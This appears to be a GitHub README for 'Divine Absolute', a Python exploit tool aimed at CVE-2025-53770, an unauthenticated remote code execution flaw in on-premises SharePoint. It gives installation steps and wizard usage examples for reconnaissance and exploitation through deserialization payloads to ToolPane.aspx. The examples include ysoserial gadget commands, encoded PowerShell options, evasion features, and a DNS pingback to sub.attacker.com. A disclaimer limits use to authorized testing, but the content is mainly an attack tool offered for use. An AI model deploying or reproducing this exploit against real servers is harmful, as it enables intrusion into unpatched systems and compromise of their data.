
A sophisticated, wizard-driven Python exploit tool targeting CVE-2025-53770, a critical (CVSS 9.8) unauthenticated remote code execution (RCE) vulnerability in on-premises Microsoft SharePoint Server (2016, 2019, Subscription Edition)
Divine Absolute is a sophisticated, wizard-driven Python exploit tool targeting CVE-2025-53770, a critical (CVSS 9.8) unauthenticated remote code execution (RCE) vulnerability in on-premises Microsoft SharePoint Server (2016, 2019, Subscription Edition). This vulnerability, disclosed as a zero-day on July 19, 2025, stems from deserialization of untrusted data in /_layouts/15/ToolPane.aspx. The tool is designed for ethical penetration testing and authorized security research only, offering unparalleled precision, stealth, and adaptability for reconnaissance, exploitation, and verification.
Repository: https://github.com/exfil0/CVE-2025-53770
⚠️ Legal Warning: This tool is for lawful, authorized use only in controlled environments with explicit permission. Unauthorized use against systems you do not own or have permission to test is illegal and may result in severe legal consequences. The author assumes no liability for misuse.
ToolPane.aspx accessibility with advanced scoring and regex (e.g., 16.0.0.\d+-\w+?).ToolPane.aspx with robust bypasses.WebRequest.Create, Dns.GetHostEntry).-enc) payloads./xp.aspx, UUID-based).www.google.com), custom URLs, or internal SharePoint paths (e.g., /_layouts/15/sharepoint.aspx).RequestException, and customizable status codes/paths.MicrosoftSharePointTeamServices), paths (e.g., /versions.aspx), and regexes./_layouts/15/ToolPane.aspx./ToolPane.aspx POSTs, use WAF rules (e.g., Cloudflare).pip install requests termcolor
pip install pythonnet
ysoserial.exe in a known path (e.g., ./ysoserial.exe).# Ubuntu/Debian
sudo apt-get install mono-complete
# macOS (via Homebrew)
brew install mono
docker pull mcr.microsoft.com/sharepoint/server:2019
git clone https://github.com/exfil0/CVE-2025-53770.git
cd CVE-2025-53770
pip install -r requirements.txt
ysoserial.exe is accessible or provide its path during execution.Run the interactive wizard:
python divine_absolute.py
Recon: Scans for SharePoint presence and version.Exploit: Sends payload to ToolPane.aspx.Full: Recon + exploit (optional aggressive mode).https://sharepoint.example.com).ObjectDataProvider), and command (e.g., cmd /c whoami).http://attacker.com/callback or sub.attacker.com).NONE, BASIC_REFLECTION, , or custom snippet.python divine_absolute.py
# Select: Mode=Recon, Target=https://sharepoint.example.com
python divine_absolute.py
# Select: Mode=Exploit, Target=https://sharepoint.example.com, Payload=YSOSERIAL,
# ysoserial.exe path=./ysoserial.exe, Gadget=ObjectDataProvider,
# Command="cmd /c echo %COMPUTERNAME% > C:\Temp\out.txt"
python divine_absolute.py
# Select: Mode=Full, Target=target_list.txt, Payload=FILE, Payload File=payload.b64,
# Verify Path=/sitepages/out.txt, Regexes="COMPUTERNAME", Status Codes=200
python divine_absolute.py
# Select: Mode=Exploit, Payload=PINGBACK, Pingback URL=sub.attacker.com
Results are saved in xanthorox_results.json with fields:
target: URL tested.sharepoint_detected: Boolean.toolpane_accessible: Boolean.exploited: Boolean (payload sent).verified_rce: Boolean/None (RCE confirmed).error: Any errors encountered.Example:
[
{
"target": "https://sharepoint.example.com",
"sharepoint_detected": true,
"toolpane_accessible": true,
"exploited": true,
"verified_rce": true,
"error": null
}
]
This version fixes:
-enc) commands; supports non-PowerShell (e.g., cmd.exe) with warnings.pythonnet for reliable DNS pingback with Dns.GetHostEntry (experimental, requires gadget for full effect).ysoserial.exe -f LosFormatter -g ObjectDataProvider -c "cmd /c nslookup sub.attacker.com" -o base64 and verify DNS logs.Dns.GetHostEntry in pythonnet may not trigger without a specific gadget chain.Contributions are welcome! Please:
git checkout -b feature/awesome-improvement).git commit -m "Add awesome improvement").git push origin feature/awesome-improvement).This project is licensed under the MIT License. See LICENSE for details.
Note: Always verify payloads and configurations in a controlled lab before use. Stay ethical, stay legal.
CONCAT_OBFUSCATEDNONE, FIXED (e.g., /xp.aspx), RANDOM (UUID-based).DEFAULT_SP, NO_REFERER, RANDOM_EXTERNAL, CUSTOM_URL.http://127.0.0.1:8080)./sitepages/result.txt), regexes (e.g., Xanthorox.*), status codes (e.g., 200,403), attempts, delay, and timeout.